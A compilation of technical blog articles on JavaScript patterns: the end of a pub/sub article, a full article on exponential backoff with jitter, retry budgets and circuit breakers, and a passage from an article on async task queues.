1. **Per-subscriber isolation**: Wrap each callback in try/catch (shown in production implementation)
2. **Error topic**: Emit to `pubsub:error` for centralized handling
3. **Dead-letter queue**: For distributed systems, track repeatedly failing messages
4. **Dev mode exceptions**: Optionally rethrow in development for stack traces

## Conclusion

Pub/Sub trades explicit control flow for decoupling. Publishers emit without knowing receivers; subscribers react without knowing sources. This enables independent component evolution and many-to-many communication at the cost of implicit, harder-to-trace control flow.

**Use pub/sub when:**

- Multiple independent components need to react to the same events
- Components should evolve independently (add/remove reactions without changing publishers)
- You're building event-driven architecture (frontend cross-component communication, backend microservices)

**Avoid pub/sub when:**

- You need request-response semantics
- There's a single known recipient (use Observer or direct calls)
- Delivery guarantees are required (use message queues)
- The system is simple and unlikely to need the decoupling

Implementation is straightforward: `Map<string, Set<Function>>`, return unsubscribe, try/catch per subscriber. The challenge is architectural—knowing when the indirection is worth the debuggability cost.

## Appendix

### Prerequisites

- JavaScript ES6+ (Map, Set, Promise, async/await)
- Basic understanding of event-driven programming
- Familiarity with React hooks (for framework examples)

### Terminology

| Term                   | Definition                                                           |
| ---------------------- | -------------------------------------------------------------------- |
| **Publisher**          | Component that emits events; unaware of subscribers                  |
| **Subscriber**         | Component that registers callbacks for events; unaware of publishers |
| **Broker / Event Bus** | Intermediary that routes events from publishers to subscribers       |
| **Topic / Channel**    | Named category for events; subscribers register interest by topic    |
| **Backpressure**       | Mechanism for consumers to signal producers to slow down             |

### Summary

- Pub/Sub provides three-dimensional decoupling: space, time, synchronization
- Use `Map<string, Set<Function>>` for O(1) operations and guaranteed order
- Always return unsubscribe function; tie cleanup to component lifecycle
- Isolate subscriber errors with per-callback try/catch
- Use `Promise.allSettled` for async publish to avoid short-circuiting
- Avoid for request-response, single recipients, or when delivery guarantees matter
- Libraries: mitt (200B), nanoevents (107B) for minimal footprint

### References

**Specifications & Standards:**

- [The Many Faces of Publish/Subscribe](https://dl.acm.org/doi/10.1145/857076.857078) - Eugster et al., ACM Computing Surveys 2003. Foundational paper defining the three dimensions of decoupling.
- [ECMA-262: Map and Set Objects](https://tc39.es/ecma262/multipage/keyed-collections.html) - Guarantees insertion order for iteration.
- [WHATWG DOM Standard: EventTarget](https://dom.spec.whatwg.org/#interface-eventtarget) - Browser's native pub/sub mechanism.
- [OASIS MQTT 5.0 Specification](https://docs.oasis-open.org/mqtt/mqtt/v5.0/mqtt-v5.0.html) - Distributed pub/sub protocol.

**Official Documentation:**

- [Node.js Events Documentation](https://nodejs.org/api/events.html) - EventEmitter ordering guarantees, async handler pitfalls.
- [MDN: CustomEvent](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent) - Browser native event API.
- [MDN: WeakRef](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef) - Memory management considerations.

**Libraries:**

- [mitt](https://github.com/developit/mitt) - 200B functional event emitter.
- [nanoevents](https://github.com/ai/nanoevents) - 107B with TypeScript support.
- [EventEmitter3](https://github.com/primus/eventemitter3) - Node.js-compatible API.
- [EventEmitter2](https://github.com/EventEmitter2/EventEmitter2) - Wildcard support.

**Architectural Guidance:**

- [Enterprise Integration Patterns: Publish-Subscribe Channel](https://www.enterpriseintegrationpatterns.com/patterns/messaging/PublishSubscribeChannel.html) - Messaging patterns reference.
- [CodeOpinion: Antipatterns in Event-Driven Architecture](https://codeopinion.com/beware-anti-patterns-in-event-driven-architecture/) - When not to use pub/sub.

---

## Exponential Backoff and Retry Strategy

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/programming-patterns/javascript-patterns/exponential-backoff-retry-strategy
**Category:** Programming & Patterns / JavaScript Patterns
**Description:** Learn how to build resilient distributed systems using exponential backoff, jitter, and modern retry strategies to handle transient failures and prevent cascading outages.

# Exponential Backoff and Retry Strategy

Learn how to build resilient distributed systems using exponential backoff, jitter, and modern retry strategies to handle transient failures and prevent cascading outages.

<figure>

![Evolution from naive retries to exponential backoff with jitter for preventing thundering herd problems](./evolution-from-naive-retries-to-exponential-backoff-with-jitter-for-preventing-t.svg)

<figcaption>Evolution from naive retries to exponential backoff with jitter for preventing thundering herd problems</figcaption>

</figure>

## Abstract

Exponential backoff with jitter solves a fundamental contention problem: how multiple uncoordinated clients can share a recovering resource without overwhelming it. The core insight is that deterministic retry timing causes correlated failures—clients that fail together retry together.

**The mental model has three layers:**

1. **Backoff spreads load over time**: The formula `delay = min(cap, base × 2^attempt)` creates exponentially growing windows. After 5 failures with base=100ms, the delay reaches 3.2s—giving the server breathing room.

2. **Jitter decorrelates clients**: Without randomization, 1000 clients failing at t=0 all retry at t=100ms, t=200ms, t=400ms... creating synchronized spikes. Full jitter (`delay = random(0, calculated_delay)`) spreads retries uniformly across each window.

3. **Retry budgets prevent amplification**: Even with jitter, deep call chains amplify load. Google's formula—allow retries only when `retry_ratio < 10%`—caps worst-case amplification at 1.1x instead of 3x per layer.

**The hierarchy of defense:**

| Layer | Mechanism                    | Handles            | Typical Config                    |
| ----- | ---------------------------- | ------------------ | --------------------------------- |
| 1     | Single retry                 | Network blips      | 1 attempt, no delay               |
| 2     | Exponential backoff + jitter | Transient overload | 3-5 attempts, 100ms base, 30s cap |
| 3     | Retry budget                 | Cascade prevention | 10% ratio per client              |
| 4     | Circuit breaker              | Persistent failure | 50% failures → open for 30s       |

**Prerequisites:** Idempotency. Non-idempotent operations cannot be safely retried—design idempotency keys into APIs before implementing retry logic.

## I. Introduction: Beyond Naive Retries

The fundamental challenge for the systems architect is not to eliminate these failures—an impossible task—but to handle them with a grace and intelligence that prevents them from amplifying into catastrophic, system-wide outages. The initial, intuitive response to a transient failure is to simply try again. However, the manner in which this retry is executed is one of the most critical factors determining the stability of a distributed system.

The most dangerous anti-pattern in this domain is the simplistic, immediate retry. A naive `while(true)` loop or a fixed, short-delay retry mechanism, when implemented across multiple clients, can trigger a devastating feedback loop known as a "retry storm" or a "thundering herd". As a service begins to recover from an initial fault, it is immediately inundated by a synchronized flood of retry attempts from all its clients. This surge overwhelms the recovering service, consuming its connection pools, threads, and CPU cycles, effectively preventing it from stabilizing.

### The Core Problem: Contention Resolution

The core problem that exponential backoff addresses—contention for a shared resource by multiple, uncoordinated actors—is a fundamental and recurring pattern in computer science. There is a direct and powerful parallel between the high-level challenge of service-to-service communication in a microservices architecture and the low-level problem of packet transmission in networking protocols.

The "thundering herd" problem, where thousands of clients simultaneously retry requests against a single recovering API endpoint, is functionally identical to a packet collision storm in early Ethernet networks. In both scenarios, multiple independent agents attempt to use a shared resource (the API server, the physical network cable) at the same time, leading to mutual interference that degrades system throughput to near zero.

## II. The Mechanics of Exponential Backoff

### From Linear to Exponential

| Strategy    | Formula                    | Delay Sequence (base=1s) | Problem                             |
| ----------- | -------------------------- | ------------------------ | ----------------------------------- |
| Constant    | `delay = base`             | 1s, 1s, 1s, 1s           | No adaptation to outage severity    |
| Linear      | `delay = base × attempt`   | 1s, 2s, 3s, 4s           | Growth too slow for severe overload |
| Exponential | `delay = base × 2^attempt` | 1s, 2s, 4s, 8s           | Matches geometric recovery needs    |

Exponential backoff's power comes from matching the typical recovery curve of overloaded systems. When a service is overwhelmed, it needs time proportional to the severity of overload—not constant additional time. The exponential curve creates "breathing room" that grows with failure count.

### The Core Algorithm and its Parameters

The canonical implementation of exponential backoff is almost always a capped exponential backoff. The capping mechanism is crucial to prevent delays from growing to impractical lengths. The formula is as follows:

```
delay = min(cap, base * factor^attempt)
```

Each component of this formula is a critical tuning parameter:

- **base**: The initial delay, typically a small value like 100ms
- **factor**: The multiplicative base of the exponent, commonly set to 2 (binary exponential backoff)
- **attempt**: The zero-indexed counter for the number of retries
- **cap**: An essential upper bound on the delay, typically set between 30 and 60 seconds

### Mathematical Justification

The collision probability analysis comes from Ethernet's BEB (Binary Exponential Backoff) algorithm in IEEE 802.3. After `c` collisions, the delay window is `[0, 2^c - 1]` slot times. The expected backoff is `(2^c - 1) / 2`.

For N contending clients with collision count c:

- Collision probability per slot: `1/N` for each client to choose the same slot
- With window size `2^c`: collision probability ≈ `N / 2^c`
- At c=10 with 1000 clients: collision probability ≈ 0.1%

This is why the IEEE 802.3 spec caps at `c=10` (1024 slots). Beyond this, the law of diminishing returns applies—larger windows provide minimal additional benefit while increasing latency.

## III. Preventing Correlated Failures with Jitter

### Deconstructing the "Thundering Herd"

The exponential backoff algorithm, in its pure, deterministic form, contains a subtle but critical flaw. While it effectively spaces out retries over increasingly long intervals, it does so in a predictable way. Consider a scenario where a network event causes a thousand clients to fail their requests to a service at the exact same moment. With a simple exponential backoff strategy, all one thousand of those clients will calculate the exact same delay for their first retry (e.g., base \* 2^1). They will all go silent, and then, at the same precise millisecond in the future, all one thousand will retry simultaneously.

### Jitter as a De-correlation Mechanism

Jitter is the mechanism for breaking this correlation. By introducing a controlled amount of randomness into the backoff delay, jitter ensures that the retries from multiple clients are spread out over a time window rather than being clustered at a single point. This de-correlation smooths the load on the downstream service, transforming a series of sharp, debilitating spikes into a more manageable, near-constant rate of retries.

### Jitter Algorithms Compared

AWS's 2015 analysis established three canonical jitter strategies. The choice depends on whether you prioritize spread (full), predictability (equal), or adaptiveness (decorrelated).

#### Full Jitter (Recommended)

```typescript
sleep = random_between(0, min(cap, (base * 2) ^ attempt))
```

- **Spread**: Maximum randomization across entire window
- **Trade-off**: Occasional near-zero delays, but lowest total completion time in aggregate
- **AWS recommendation**: Full jitter for most applications

#### Equal Jitter

```typescript
temp = min(cap, (base * 2) ^ attempt)
sleep = temp / 2 + random_between(0, temp / 2)
```

- **Spread**: Half the window, guaranteed minimum wait
- **Trade-off**: More predictable latency, slightly higher total completion time
- **Use case**: When you need bounded minimum delay for resource cleanup

#### Decorrelated Jitter

```typescript
sleep = min(cap, random_between(base, previous_sleep * 3))
```

- **Spread**: Depends on previous delay, not attempt count
- **Trade-off**: Naturally adaptive, but clamping to `cap` repeatedly degrades distribution
- **Caveat (2024)**: When `previous_sleep * 3 > cap`, repeated clamping causes delays to cluster near `cap`, losing the decorrelation benefit. Full jitter avoids this edge case.

## IV. Production-Ready Implementation

### Design Goals

A production-grade retry utility must be designed as a robust, flexible, and reusable component that promotes clean code and a clear separation of concerns. The ideal implementation takes the form of a higher-order function or decorator that can wrap any async operation.

Key design goals include:

- **Configurability**: All core parameters must be configurable
- **Pluggable Jitter Strategies**: Choice of jitter algorithm should be injectable
- **Intelligent Error Filtering**: Distinguish between retryable and non-retryable errors
- **Cancellation Support**: Integration with AbortController for proper resource management

### Core Implementation

```typescript title="retry-with-backoff.ts" collapse={1-22, 63-85}
// Type Definitions
export type JitterStrategy = (delay: number) => number

export interface RetryOptions {
  maxRetries?: number
  initialDelay?: number
  maxDelay?: number
  backoffFactor?: number
  jitterStrategy?: JitterStrategy
  isRetryableError?: (error: unknown) => boolean
  abortSignal?: AbortSignal
}

// Jitter Strategy Implementations
export const fullJitter: JitterStrategy = (delay) => Math.random() * delay

export const equalJitter: JitterStrategy = (delay) => {
  const halfDelay = delay / 2
  return halfDelay + Math.random() * halfDelay
}

// Core Retry Utility
export async function retryWithBackoff<T>(operation: () => Promise<T>, options: RetryOptions = {}): Promise<T> {
  const {
    maxRetries = 5,
    initialDelay = 100,
    maxDelay = 30000,
    backoffFactor = 2,
    jitterStrategy = fullJitter,
    isRetryableError = (error: unknown) => !(error instanceof Error && error.name === "AbortError"),
    abortSignal,
  } = options

  let attempt = 0
  let lastError: unknown

  while (attempt <= maxRetries) {
    if (abortSignal?.aborted) {
      throw new DOMException("Aborted", "AbortError")
    }

    try {
      return await operation()
    } catch (error) {
      lastError = error

      if (!isRetryableError(error) || attempt === maxRetries || abortSignal?.aborted) {
        throw lastError
      }

      const exponentialDelay = initialDelay * Math.pow(backoffFactor, attempt)
      const cappedDelay = Math.min(exponentialDelay, maxDelay)
      const jitteredDelay = jitterStrategy(cappedDelay)

      console.warn(`Attempt ${attempt + 1} failed. Retrying in ${Math.round(jitteredDelay)}ms...`)

      await delay(jitteredDelay, abortSignal)
      attempt++
    }
  }

  throw lastError
}

// Helper function for cancellable delays
const delay = (ms: number, signal?: AbortSignal): Promise<void> => {
  return new Promise((resolve, reject) => {
    if (signal?.aborted) {
      return reject(new DOMException("Aborted", "AbortError"))
    }

    const onAbort = () => {
      clearTimeout(timeoutId)
      reject(new DOMException("Aborted", "AbortError"))
    }

    const timeoutId = setTimeout(() => {
      signal?.removeEventListener("abort", onAbort)
      resolve()
    }, ms)

    signal?.addEventListener("abort", onAbort, { once: true })
  })
}
```

### Example Usage

```typescript title="example-usage.ts" collapse={1-22}
class HttpError extends Error {
  constructor(
    public status: number,
    message: string,
  ) {
    super(message)
    this.name = "HttpError"
  }
}

function isHttpErrorRetryable(error: unknown): boolean {
  if (error instanceof Error && error.name === "AbortError") {
    return false
  }

  if (error instanceof HttpError) {
    return error.status >= 500 || error.status === 429
  }

  return true
}

async function resilientFetchExample() {
  const controller = new AbortController()

  try {
    const data = await retryWithBackoff(() => fetchSomeData("https://api.example.com/data", controller.signal), {
      maxRetries: 4,
      initialDelay: 200,
      maxDelay: 5000,
      jitterStrategy: equalJitter,
      isRetryableError: isHttpErrorRetryable,
      abortSignal: controller.signal,
    })
    console.log("Successfully fetched data:", data)
  } catch (error) {
    console.error("Operation failed after all retries:", error)
  }
}
```

## V. The Broader Resilience Ecosystem

Exponential backoff with jitter is a powerful and essential tool, but it is not a panacea. Its true power is unlocked when it is employed as one component within a comprehensive, multi-layered resilience strategy.

### Backoff and Circuit Breakers: A Symbiotic Relationship

The relationship between exponential backoff and the circuit breaker pattern is the most critical interaction in this ecosystem. They operate at different scopes:

| Pattern             | Scope                    | Trigger                | Response                |
| ------------------- | ------------------------ | ---------------------- | ----------------------- |
| Exponential backoff | Single request           | Transient error        | Wait, retry             |
| Circuit breaker     | All requests to endpoint | Failure rate threshold | Fast-fail, stop calling |

**Implementation order matters**: Retry logic must be encapsulated within circuit breaker protection. The sequence:

1. Check circuit breaker state—if open, fast-fail without attempting
2. Execute request
3. On transient error → exponential backoff retries
4. After max retries exhausted → report failure to circuit breaker
5. Circuit breaker tracks failure rate → opens if threshold exceeded

**Service mesh integration (Istio)**: Modern Kubernetes deployments separate these concerns:

```yaml
# VirtualService - retry configuration
apiVersion: networking.istio.io/v1beta1
spec:
  http:
    - retries:
        attempts: 3
        perTryTimeout: 2s
        retryOn: 5xx,reset,connect-failure

---
# DestinationRule - circuit breaker (outlier detection)
apiVersion: networking.istio.io/v1beta1
spec:
  trafficPolicy:
    outlierDetection:
      consecutive5xxErrors: 5
      interval: 30s
      baseEjectionTime: 30s
```

The service mesh handles both patterns at the infrastructure layer, removing the need for application-level circuit breaker libraries in many cases.

### Backoff, Throttling, and Retry Budgets

#### Handling Explicit Signals (RFC 9110)

When a service responds with HTTP 429 (Too Many Requests) or 503 (Service Unavailable), check for the `Retry-After` header. Per RFC 9110 Section 10.2.3, this header specifies either:

- **Absolute time**: `Retry-After: Wed, 21 Oct 2025 07:28:00 GMT`
- **Relative delay**: `Retry-After: 120` (seconds)

The client-side implementation should:

1. Parse `Retry-After` if present—it takes precedence over calculated backoff
2. Fall back to exponential backoff if header is absent
3. Add jitter even when honoring `Retry-After` to decorrelate synchronized retries

```typescript collapse={1-5}
function getRetryDelay(response: Response, calculatedDelay: number): number {
  const retryAfter = response.headers.get("Retry-After")
  if (!retryAfter) return calculatedDelay

  // Check if it's a number (seconds) or HTTP-date
  const seconds = parseInt(retryAfter, 10)
  if (!isNaN(seconds)) return seconds * 1000

  const date = Date.parse(retryAfter)
  if (!isNaN(date)) return Math.max(0, date - Date.now())

  return calculatedDelay
}
```

#### The Retry Budget Concept

Google SRE's retry budget pattern provides a global defense against retry amplification. The implementation uses two complementary limits:

**Per-request limit**: Maximum 3 retry attempts per request. After 3 failures, propagate the error to the caller.

**Per-client retry budget**: Track the ratio of retries to total requests. Allow retries only when:

```
retry_ratio = retries / (requests + retries) < 0.1  // 10% threshold
```

**Impact analysis**: Without per-client budgets, a 3-layer system with 3 retries each amplifies load by `3^3 = 27x`. With the 10% budget, worst-case amplification drops to approximately `1.1x` per layer.

The distinction matters: backends must signal whether overload is localized (retry elsewhere) or system-wide (stop retrying). gRPC uses status codes for this: `UNAVAILABLE` (transient, retry) vs `RESOURCE_EXHAUSTED` (backpressure, don't retry immediately).

### Alternative Strategies: Contrasting with Request Hedging

Request hedging targets tail latency (p99 and above), not failure handling. In large-scale systems, a fraction of requests are slow due to GC (Garbage Collection) pauses, network jitter, or hot spots.

| Aspect       | Exponential Backoff         | Request Hedging                           |
| ------------ | --------------------------- | ----------------------------------------- |
| Goal         | Handle failures             | Reduce tail latency                       |
| Execution    | Serial: fail → wait → retry | Parallel: request → wait → send duplicate |
| Trigger      | Error response              | Timeout (e.g., p95 latency)               |
| Load impact  | Reduces load during outage  | Increases load (~1-2% more requests)      |
| gRPC support | `retryPolicy`               | `hedgingPolicy` (gRFC A6)                 |

gRPC's hedging configuration (gRFC A6) sends parallel copies after `hedgingDelay` and cancels when any succeeds:

```json
{
  "hedgingPolicy": {
    "maxAttempts": 3,
    "hedgingDelay": "0.5s",
    "nonFatalStatusCodes": ["UNAVAILABLE", "UNKNOWN"]
  }
}
```

**Critical**: Hedging and retry are mutually exclusive per-method in gRPC. You cannot configure both on the same method.

## VI. Operationalizing Backoff

### The Prerequisite of Idempotency

The single most important prerequisite for any automatic retry mechanism is idempotency. An operation is idempotent if making the same request multiple times has the exact same effect on the system's state as making it just once.

For write operations (e.g., HTTP POST, PUT, DELETE), idempotency must be explicitly designed into the API. A common technique is to require the client to generate a unique key (e.g., a UUID) and pass it in a header like `Idempotency-Key`.

### Tuning Parameters in Production

The parameters for a backoff strategy should not be chosen arbitrarily or left as library defaults. They must be tuned based on the specific context of the service being called and the business requirements of the operation.

#### Using Latency Metrics

The initial timeout and backoff parameters should be directly informed by the performance metrics of the downstream service. A widely adopted best practice is to set the per-attempt timeout to a value slightly above the service's p99 or p99.5 latency under normal, healthy conditions.

#### Error Budgets

The maximum number of retries (maxRetries) should be considered in the context of the service's SLOs (Service Level Objectives) and corresponding error budget. A critical, user-facing request path might have a very small retry count (e.g., 2-3) to prioritize failing fast.

### Observability: What to Log and Monitor

For every retry attempt, the system should log:

- The specific operation being retried
- The attempt number (e.g., "retry 2 of 5")
- The calculated delay before the jitter was applied
- The final, jittered delay that was used
- The specific error (including stack trace and any relevant error codes) that triggered the retry

Key metrics to collect and dashboard include:

- **Retry Rate**: The number of retries per second, broken down by endpoint or downstream service
- **Success Rate After Retries**: The percentage of operations that ultimately succeed after one or more retries
- **Final Failure Rate**: The percentage of operations that fail even after all retries are exhausted
- **Circuit Breaker State**: The current state (Closed, Open, Half-Open) of any associated circuit breakers
- **Retry Delay Distribution**: A histogram of the actual delays used

## VII. Learning from Real-World Failures

### Case Study 1: The Thundering Herd (Discord/Slack)

**Scenario**: This pattern manifests when a large number of clients are disconnected from a central service simultaneously, either due to a network partition or a brief failure of the service itself.

**Failure Mode**: The massive, synchronized surge of reconnection attempts acts as a self-inflicted DDoS (Distributed Denial of Service) attack. In the case of Discord, a "flapping" service triggered a "thundering herd" of reconnections that exhausted memory in frontend services.

**Lesson**: This is the canonical failure mode that jittered backoff is designed to prevent. Without randomization and a gradual backoff in connection logic, the recovery of a service can trigger its immediate re-failure.

### Case Study 2: Retry Amplification (Google SRE Example)

**Scenario**: Consider a deeply nested, multi-layered microservices architecture. A single user action at the top layer triggers a chain of calls down through the stack, ultimately hitting a database.

**Failure Mode**: When the lowest-level dependency (the database) begins to fail under load, the retry logic at each layer amplifies the load multiplicatively. If each of three layers performs up to 4 attempts (1 initial + 3 retries), a single initial user request can result in up to 4³=64 attempts on the already-struggling database.

**Lesson**: Retry logic must be implemented holistically and with awareness of the entire system architecture. The best practice is to retry at a single, well-chosen layer of the stack.

### Case Study 3: Non-Idempotent Retries (Twilio)

**Scenario**: A billing service at Twilio experienced a failure in its backing Redis cluster. The application logic was structured to first charge a customer's credit card and then, in a separate step, update the customer's internal account balance.

**Failure Mode**: Because the operation was not idempotent, the retry caused the customer's credit card to be charged a second time. The system "continued to retry the transaction again and again," leading to multiple erroneous charges for customers.

**Lesson**: This incident underscores the absolute criticality of idempotency as a prerequisite for automated retries. If an operation has side effects that cannot be made idempotent, it must not be subject to a generic, automated retry mechanism.

## VIII. Conclusion

This exploration of exponential backoff has journeyed from the fundamental mechanics of the algorithm to its sophisticated application within a broader ecosystem of resilience patterns, culminating in the harsh lessons learned from real-world system failures.

The overarching conclusion is that robust failure handling is not an optional feature or an afterthought; it is a foundational design principle for any distributed system. The naive retry, born of good intentions, is a liability at scale. A disciplined, intelligent retry strategy, built on the principles of exponential backoff and jitter, is an asset that underpins system stability.

The patterns discussed—particularly the symbiotic relationship between exponential backoff for transient faults and circuit breakers for persistent ones—represent a mature engineering philosophy. It is a philosophy that shifts the focus from attempting to prevent all failures, an impossible goal, to engineering systems that can gracefully tolerate and automatically recover from them.

The final call to action for the expert practitioner is to move beyond simplistic implementations and to embrace a holistic, data-driven, and context-aware approach to building resilient systems. This requires:

1. **Understanding the Theory**: Recognizing that patterns like jittered backoff are not arbitrary but are grounded in the mathematics of contention resolution
2. **Implementing with Discipline**: Building flexible, configurable, and observable retry utilities that are aware of idempotency and cancellation
3. **Thinking in Ecosystems**: Architecting systems where resilience patterns work in concert, each handling the class of failure for which it was designed
4. **Tuning with Data**: Using production metrics—latency percentiles, error rates, and SLOs—to inform the configuration of every backoff and circuit breaker parameter
5. **Learning from Failure**: Treating every incident and post-mortem as an invaluable source of knowledge to harden systems against future failures

By adopting this comprehensive mindset, engineers can transform the unpredictable nature of distributed systems from a source of fragility into an opportunity for resilience, building applications that remain available and responsive even in the face of inevitable, challenging conditions.

## Appendix

### Prerequisites

- Understanding of HTTP status codes (4xx vs 5xx error classes)
- Familiarity with async/await patterns in JavaScript/TypeScript
- Basic distributed systems concepts (latency, availability, consistency)

### Terminology

| Term                    | Definition                                                                       |
| ----------------------- | -------------------------------------------------------------------------------- |
| **BEB**                 | Binary Exponential Backoff—the algorithm from IEEE 802.3 Ethernet                |
| **p99**                 | 99th percentile latency—the latency at which 99% of requests complete            |
| **SLO**                 | Service Level Objective—target reliability/performance metrics                   |
| **Idempotency**         | Property where repeated operations produce the same result as a single execution |
| **Thundering herd**     | Coordinated retry storm when many clients fail and retry simultaneously          |
| **Retry amplification** | Multiplicative load increase in multi-layer systems where each layer retries     |

### Summary

- Exponential backoff spreads retry load over time: `delay = min(cap, base × 2^attempt)`
- Jitter decorrelates clients—full jitter (`random(0, delay)`) recommended for maximum spread
- Retry budgets (10% threshold) prevent cascade failures in deep call chains
- Circuit breakers handle persistent failures; backoff handles transient ones—use both
- Always honor `Retry-After` headers when present (RFC 9110)
- Idempotency is a prerequisite—non-idempotent operations cannot be safely retried

### References

**Specifications**

- [RFC 9110 - HTTP Semantics](https://httpwg.org/specs/rfc9110.html) - Section 10.2.3 for Retry-After header
- [IEEE 802.3](https://standards.ieee.org/ieee/802.3/7071/) - Binary Exponential Backoff algorithm origin
- [gRFC A6 - gRPC Client Retries](https://github.com/grpc/proposal/blob/master/A6-client-retries.md) - Retry and hedging specification

**Official Documentation**

- [AWS Architecture Blog - Exponential Backoff and Jitter](https://aws.amazon.com/blogs/architecture/exponential-backoff-and-jitter/) - Canonical jitter analysis
- [AWS Builders' Library - Timeouts, Retries, and Backoff](https://aws.amazon.com/builders-library/timeouts-retries-and-backoff-with-jitter/)
- [AWS SDK Retry Behavior](https://docs.aws.amazon.com/sdkref/latest/guide/feature-retry-behavior.html) - Standard and Adaptive modes
- [Google SRE Book - Handling Overload](https://sre.google/sre-book/handling-overload/) - Retry budget patterns
- [Google Cloud Storage Retry Strategy](https://cloud.google.com/storage/docs/retry-strategy)
- [gRPC Retry Documentation](https://grpc.io/docs/guides/retry/)
- [Istio Circuit Breaking](https://istio.io/latest/docs/tasks/traffic-management/circuit-breaking/)

**Architecture Patterns**

- [Azure Circuit Breaker Pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/circuit-breaker)
- [Azure Retry Pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/retry)
- [Netflix Hystrix Wiki](https://github.com/Netflix/Hystrix/wiki) - Historical reference (maintenance mode)

**Code Samples**

- [Code Samples With Tests](https://github.com/sujeet-pro/code-samples/tree/main/patterns/exponential-backoff)

---

## Async Queue Pattern in JavaScript

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/programming-patterns/javascript-patterns/async-queue-pattern
**Category:** Programming & Patterns / JavaScript Patterns
**Description:** Build resilient, scalable asynchronous task processing systems—from basic in-memory queues to advanced distributed patterns—using Node.js. This article covers the design reasoning behind queue architectures, concurrency control mechanisms, and resilience patterns for production systems.

# Async Queue Pattern in JavaScript

Build resilient, scalable asynchronous task processing systems—from basic in-memory queues to advanced distributed patterns—using Node.js. This article covers the design reasoning behind queue architectures, concurrency control mechanisms, and resilience patterns for production systems.

<figure>

![Asynchronous task queue distributing work across multiple executors with bounded concurrency](./asynchronous-task-queue-distributing-work-across-multiple-executors-with-bounded.svg)

<figcaption>Asynchronous task queue distributing work across multiple executors with bounded concurrency</figcaption>

</figure>

## Abstract

Async queues solve a fundamental tension: how to maximize throughput while respecting resource constraints. The core mental model:

```
Producer → Queue (buffer) → Consumer(s)
           ↑                    ↓
     Backpressure ←──── Concurrency Control
```

**Key design decisions:**

| Decision             | In-Memory Queue                          | Distributed Queue                               |
| -------------------- | ---------------------------------------- | ----------------------------------------------- |
| **Persistence**      | None—process crash loses all jobs        | Redis/DB-backed—survives restarts               |
| **Scalability**      | Single process only                      | Competing consumers across nodes                |
| **Failure handling** | Caller's responsibility                  | Built-in retries, DLQ, stalled detection        |
| **When to use**      | Local concurrency control, rate limiting | Cross-process coordination, durability required |

**Resilience fundamentals:**

- **Idempotency**: Design consumers to handle duplicate delivery safely
- **Backpressure**: Bound queue size to prevent memory exhaustion
- **Exponential backoff + jitter**: `delay = min(cap, base × 2^attempt) + random()` prevents thundering herd
- **Dead Letter Queue (DLQ)**: Isolate poison messages that exceed retry attempts

## Part 1: The Foundation of Asynchronous Execution

### 1.1 The Event Loop and In-Process Concurrency

Node.js uses a single-threaded, event-driven architecture. This model excels at I/O-bound operations but blocks the main thread during CPU-intensive work. Understanding the event loop phases is essential for designing queue processors that remain responsive.

<figure>

![Node.js event loop phases with microtask queues processed between each phase](./node-js-event-loop-phases-with-microtask-queues-processed-between-each-phase.svg)

<figcaption>Node.js event loop phases with microtask queues processed between each phase</figcaption>

</figure>

**Event Loop Phases** (as of Node.js 20+):

The event loop executes in six phases: timers → pending callbacks → idle/prepare → poll → check → close callbacks. Each phase has a FIFO queue of callbacks.

- **Microtask processing**: After each phase completes, Node.js drains the `nextTick` queue first, then the Promise microtask queue. Both complete before the next phase begins.
- **Priority order**: `process.nextTick()` > Promise microtasks > macrotasks (setTimeout, setImmediate)

> **Node.js 20 change (libuv 1.45.0)**: Timers now run only _after_ the poll phase, not before and after as in earlier versions. This affects callback ordering for code that depends on precise timer/I/O interleaving.

**Why this matters for queues**: A queue processor that performs synchronous CPU work starves the event loop, preventing lock renewals (in distributed queues) and incoming I/O from being handled. Design processors to yield control regularly via `await` or `setImmediate()`.

### 1.2 In-Memory Task Queues: Controlling Local Concurrency

In-memory queues throttle async operations within a single process—useful for rate limiting API calls or controlling database connection usage.

**Library comparison (as of January 2025):**

| Library          | Weekly Downloads | Design Focus                      | Concurrency Control                |
| ---------------- | ---------------- | --------------------------------- | ---------------------------------- |
| **fastq** v1.20  | 60M+             | Raw performance, minimal overhead | Simple concurrency count           |
| **p-queue** v9.1 | 10M+             | Feature-rich, priority support    | Fixed/sliding window rate limiting |

**p-queue** provides priority scheduling, per-operation timeouts, and sliding-window rate limiting. **fastq** uses object pooling via `reusify` for reduced GC pressure—6x higher adoption for performance-critical scenarios.

**Naive implementation** (for understanding the pattern):

```ts file=./2025-01-24-code-sample.ts collapse={1-1, 45-95, 97-114}

```

> **Note**: This uses [`Promise.withResolvers()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/withResolvers) (Baseline 2024).

**Critical limitations of in-memory queues:**

| Limitation                     | Impact                              | Mitigation                                          |
| ------------------------------ | ----------------------------------- | --------------------------------------------------- |
| **No persistence**             | Process crash loses all queued jobs | Use distributed queue for durability                |
| **Single process**             | Cannot scale horizontally           | Distributed queue with competing consumers          |
| **No backpressure by default** | Unbounded memory growth under load  | Monitor queue size, reject new tasks when saturated |
| **Caller handles errors**      | Silent failures if not awaited      | Always handle returned promises                     |

**Backpressure pattern with p-queue:**

```typescript title="backpressure.ts" collapse={1-2}
import PQueue from "p-queue"

const queue = new PQueue({ concurrency: 10 })

async function addWithBackpressure<T>(task: () => Promise<T>): Promise<T> {
  // Block producer when queue exceeds threshold
  if (queue.size > 100) {
    await queue.onSizeLessThan(50) // Wait until queue drains
  }
  return queue.add(task)
}
```

## Part 2: Distributed Async Task Queues

For persistence, horizontal scaling, and cross-process coordination, tasks must be managed by a distributed queue system.

### 2.1 Distributed Architecture Components

<figure>

![Distributed queue with producers, Redis broker, competing consumers, and DLQ for failed jobs](./distributed-queue-with-producers-redis-broker-competing-consumers-and-dlq-for-fa.svg)

<figcaption>Distributed queue with producers, Redis broker, competing consumers, and DLQ for failed jobs</figcaption>

</figure>

**Component responsibilities:**

- **Producers**: Enqueue jobs with payload, priority, delay, and retry configuration
- **Message Broker**: Persistent store (Redis for BullMQ) providing at-least-once delivery
- **Workers (Competing Consumers)**: Dequeue and process jobs; multiple workers increase throughput
- **Dead Letter Queue**: Captures jobs exceeding retry attempts for manual inspection

